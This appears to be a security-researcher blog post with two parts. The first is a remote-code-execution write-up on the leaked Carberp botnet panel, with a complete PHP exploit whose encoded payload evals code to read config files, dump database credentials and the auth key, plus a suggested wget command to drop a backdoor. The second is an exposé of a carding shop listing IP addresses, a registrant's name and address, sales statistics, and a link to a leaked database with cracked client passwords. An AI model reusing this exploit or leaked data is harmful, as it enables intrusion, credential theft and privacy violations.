Carberp Remote Code Execution: Carpwned

Everyone are looking at the Carberp source, bootkit and other components but did people investigated the panels source ?
I don't know who did the PHP but he deserve a medal, it's more easy to hack than SpyEye. (yeah i didn't think it was possible too)

Here i will talk about a simple code injection but there is a lot of others vulnerabilities in theses leaked panels.
e.g: stupid code allow IP spoofing:

No but seriously the best vulnerability is the RCE one, the guys who coded this is really mentally retarded:

look at this eval() look !

Oh good timing, some Carberp C&C appeared on vx.vault:

Let's write a spl0it now, i think most of you come here for a PoC right ?

Carberp RCE
<table width="607" border="0">
<tr>
<td><form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
<label for="carberp">Domain: </label>
<input name="urlz" type="text" id="urlz" value="http://carberpPanel.com" size="50" />
<input type="submit" name="button" id="button" value="Ownz !" />
</form></td>
</tr>
<tr>
<td><?php
/*
Xyl2k!
Greeting to Xartrick for fixing the payload (:
*/
if(!isset($_POST['urlz'])) ;
else
if(!filter_var($_POST['urlz'], FILTER_VALIDATE_URL))
{
echo "<font color='red'>URL is not valid</font>";
}
else
{
{
$data = array(
'id' => 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV',
'data' => 'Njk2ZTYzNmM3NTY0NjU1ZjZmNmU2MzY1MjgyNzY5NmU2MzZjNzU2NDY1NzMyZjYzNmY2ZTY2Njk2NzJlNzA2ODcwMjcyOTNiMjQ0MTNkMjIwZDBhMjIzYjY1NjM2ODZmMjgyNzQ0NjE3NDYxNjI2MTczNjUyNzJlMjQ0MTI5M2I2NTYzNjg2ZjI4MjcyZDJkMmQyZDJkMmQyZDJkMjcyZTI0NDEyOTNiNjU2MzY4NmYyODI3NDg2ZjczNzQzYTIwMjcyZTI0NjM2NjY3NWY2NDYyNWIyNzY4NmY3Mzc0Mjc1ZDJlMjQ0MTI5M2I2NTYzNjg2ZjI4Mjc1NTczNjU3MjNhMjAyNzJlMjQ2MzY2Njc1ZjY0NjI1YjI3NzU3MzY1NzIyNzVkMmUyNDQxMjkzYjY1NjM2ODZmMjgyNzUwNjE3MzczM2EyMDI3MmUyNDYzNjY2NzVmNjQ2MjViMjc3MDYxNzM3MzI3NWQyZTI0NDEyOTNiNjU2MzY4NmYyODI3NDQ0MjNhMjAyMDIwMjcyZTI0NjM2NjY3NWY2NDYyNWIyNzY0NjIyNzVkMmUyNDQxMmUyNDQxMjkzYjZkNzk3MzcxNmM1ZjYzNmY2ZTZlNjU2Mzc0MjgyNDYzNjY2NzVmNjQ2MjViMjc2ODZmNzM3NDI3NWQyYzI0NjM2NjY3NWY2NDYyNWIyNzc1NzM2NTcyMjc1ZDJjMjQ2MzY2Njc1ZjY0NjI1YjI3NzA2MTczNzMyNzVkMjkzYjZkNzk3MzcxNmM1ZjczNjU2YzY1NjM3NDVmNjQ2MjI4MjQ2MzY2Njc1ZjY0NjI1YjI3NjQ2MjI3NWQyOTNiMjQ0MjNkNmQ3OTczNzE2YzVmNzE3NTY1NzI3OTI4Mjc1MzQ1NGM0NTQzNTQyMDJhMjA0NjUyNGY0ZDIwNjI2NjVmNzU3MzY1NzI3MzI3MjkzYjY1NjM2ODZmMjgyNzU1NzM2NTcyNzMyNzJlMjQ0MTI5M2I2NTYzNjg2ZjI4MjcyZDJkMmQyZDJkMjcyZTI0NDEyOTNiNzc2ODY5NmM2NTI4MjQ0MzNkNmQ3OTczNzE2YzVmNjY2NTc0NjM2ODVmNjE3MzczNmY2MzI4MjQ0MjI5Mjk2NTYzNjg2ZjI4MjQ0MzViMjc2YzZmNjc2OTZlMjc1ZDJlMjczYTI3MmUyNDQzNWIyNzcwNjE3MzczNzc2ZjcyNjQyNzVkMmUyNDQxMjkzYjZkNzk3MzcxNmM1ZjY2NzI2NTY1NWY3MjY1NzM3NTZjNzQyODI0NDIyOTNiNmQ3OTczNzE2YzVmNjM2YzZmNzM2NTI4MjkzYjI0NDQzZDQ5Mjg2NjY5NmM2NTVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczMjgyNzY5NmU2NDY1NzgyZTcwNjg3MDI3MjkyOTNiNjU2MzY4NmYyODI0NDEyZTI3NDE3NTc0NjgyMDRiNjU3OTI3MmUyNDQxMjkzYjY1NjM2ODZmMjgyNzJkMmQyZDJkMmQyZDJkMmQyNzJlMjQ0MTI5M2I2NTYzNjg2ZjI4Mjc2ODc0NzQ3MDNhMmYyZjI3MmUyNDVmNTM0NTUyNTY0NTUyNWIyNzQ4NTQ1NDUwNWY0ODRmNTM1NDI3NWQyZTI3MmY2YzZmNjc2OTZlMmYzZjc4M2QyNzJlMjQ0NDI5M2I2Njc1NmU2Mzc0Njk2ZjZlMjA0OTI4MjQ0ODI5N2IyNDQ2M2Q2NTc4NzA2YzZmNjQ2NTI4MjcyNDYxNzU3NDZmNzI2OTdhNjU2YjY1NzkyNzJjMjQ0ODI5M2IyNDQ3M2Q2NTc4NzA2YzZmNjQ2NTI4MjczYjI3MmMyNDQ2NWIzMTVkMjkzYjY1NzY2MTZjMjgyNzI0NDUyNzJlMjQ0NzViMzA1ZDJlMjczYjI3MjkzYjcyNjU3NDc1NzI2ZTIwMjQ0NTNiN2Q=');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['urlz'] . "/index.php");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_TIMEOUT,30);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$contents = curl_exec($ch);
curl_close($ch);
if (preg_match("#-#", $contents))
{ echo "<pre>" . $contents . "</pre>"; }
else
{ echo "<font color='red'>Not vulnerable :(</font>"; }
}
}
?></td>
</tr>
</table>

The 'encoded' part do a file_get_contents() on includes/config.php
Then connect to the SQL db and show the Carberp credentials. (in case if we don't have phpMyAdmin)
But it would be useless if we can't show the login page due to Auth key so it parse index.php and retrieve it.
Cool payload huh ?
Let's test it so...

37.221.165.123:

91.214.202.117:

I've tested on some others C&C and everything went fine.
And it's a RCE so you can execute some cool shit like system('wget http://xxx.xxx');
To download a backdoor or whatever...

Here are some screenshots of the panel:

Bots:

Diagram all:

Diagram live:

Diagram OS:

Diagram AV:

Diagram Rights:

Wait... a 'diagram' ?!

Tasks:

Logs:

Passwd:

AutoSystem:

Settings:

oh really, who's fucked now ?

VMADUMPS (Carding shop)

Another carder shop, similar to dumpslogs, they sell track2.

vmadumps.cc - 80.82.64.21
Registrant Contact:
none
onofrio castaldi ()
Fax:
via DOMENICO CUCCHIARI nr.60
rome, rome 00159
IT
Creation date: 20 Sep 2012 10:20:00
Expiration date: 20 Sep 2013 07:20:00

Banner:

Advert:

Login:

News:

Find cards:

Client area:

Credit history:

Reload credit:

Ticket:

Buy dumps:

Buy bulk:

Track2 checker:

Help and FAQ:

Some weird urls:

vmadumps.cc/Mail.php
vmadumps.cc/activ.php
vmadumps.cc/PEAR.php

lol:

Admin panel:

News:

Add product:

Stats (some will be interested by numbers i thinks)

The 17 march california has 1580 products.
From the 17 march california there are 234 meaning 14.8% products bought.
Total products that wore checked 66 and 36 (54.5%) passed the check meaning 2.3% from the total of base products
People spent a total of 3055$
---
The 17 march massachusetts has 2149 products.
From the 17 march massachusetts there are 483 meaning 22.5% products bought.
Total products that wore checked 99 and 53 (53.5%) passed the check meaning 2.5% from the total of base products
People spent a total of 7820$
---
The bulk no replace has 33323 products.
From the bulk no replace there are 112049 meaning 336.3% products bought.
Total products that wore checked 13238 and 8065 (60.9%) passed the check meaning 24.2% from the total of base products
People spent a total of 320123$
---
The 12 march california has 530 products.
From the 12 march california there are 482 meaning 90.9% products bought.
Total products that wore checked 195 and 126 (64.6%) passed the check meaning 23.8% from the total of base products
People spent a total of 6965$
---
The 17 march mix 201 has 1699 products.
From the 17 march mix 201 there are 382 meaning 22.5% products bought.
Total products that wore checked 84 and 55 (65.5%) passed the check meaning 3.2% from the total of base products
People spent a total of 15445$
---
The 17 march new york has 2475 products.
From the 17 march new york there are 366 meaning 14.8% products bought.
Total products that wore checked 82 and 38 (46.3%) passed the check meaning 1.5% from the total of base products
People spent a total of 5275$
---
The 17 march florida has 4032 products.
From the 17 march florida there are 558 meaning 13.8% products bought.
Total products that wore checked 115 and 72 (62.6%) passed the check meaning 1.8% from the total of base products
People spent a total of 8215$
---
The 12 march florida has 2642 products.
From the 12 march florida there are 1405 meaning 53.2% products bought.
Total products that wore checked 520 and 324 (62.3%) passed the check meaning 12.3% from the total of base products
People spent a total of 17810$
---
The 7 march massachusetts has 727 products.
From the 7 march massachusetts there are 877 meaning 120.6% products bought.
Total products that wore checked 276 and 135 (48.9%) passed the check meaning 18.6% from the total of base products
People spent a total of 11760$
---
The 12 march new york has 661 products.
From the 12 march new york there are 859 meaning 130% products bought.
Total products that wore checked 287 and 160 (55.7%) passed the check meaning 24.2% from the total of base products
People spent a total of 11345$
---
The 12 march east coast mix has 827 products.
From the 12 march east coast mix there are 715 meaning 86.5% products bought.
Total products that wore checked 215 and 115 (53.5%) passed the check meaning 13.9% from the total of base products
People spent a total of 9440$
---
The 7 march florida has 2788 products.
From the 7 march florida there are 578 meaning 20.7% products bought.
Total products that wore checked 223 and 146 (65.5%) passed the check meaning 5.2% from the total of base products
People spent a total of 8245$
---
The 7 march new york has 988 products.
From the 7 march new york there are 1001 meaning 101.3% products bought.
Total products that wore checked 400 and 260 (65%) passed the check meaning 26.3% from the total of base products
People spent a total of 12535$
---
The 7 march new jersey has 591 products.
From the 7 march new jersey there are 625 meaning 105.8% products bought.
Total products that wore checked 244 and 138 (56.6%) passed the check meaning 23.4% from the total of base products
People spent a total of 7040$
---
The 28 february florida has 2256 products.
From the 28 february florida there are 1781 meaning 78.9% products bought.
Total products that wore checked 682 and 447 (65.5%) passed the check meaning 19.8% from the total of base products
People spent a total of 21565$
---
The 7 march california has 1114 products.
From the 7 march california there are 886 meaning 79.5% products bought.
Total products that wore checked 408 and 248 (60.8%) passed the check meaning 22.3% from the total of base products
People spent a total of 11450$

admins:

Clients:

Track1 bin:

Track2:

Transactions:

Sold:

Bins:

Settings:

database:

3k clients, i've broke ~55% of passwords with a simple brute force and a basic dictionary.
You want a copy ? oh... ok.
http://temari.fr/vmadumps.cc.zip

PHP+SQL, tracks2 and credit cards are not included of course
Happy hunting.

Storm 3 is awesome.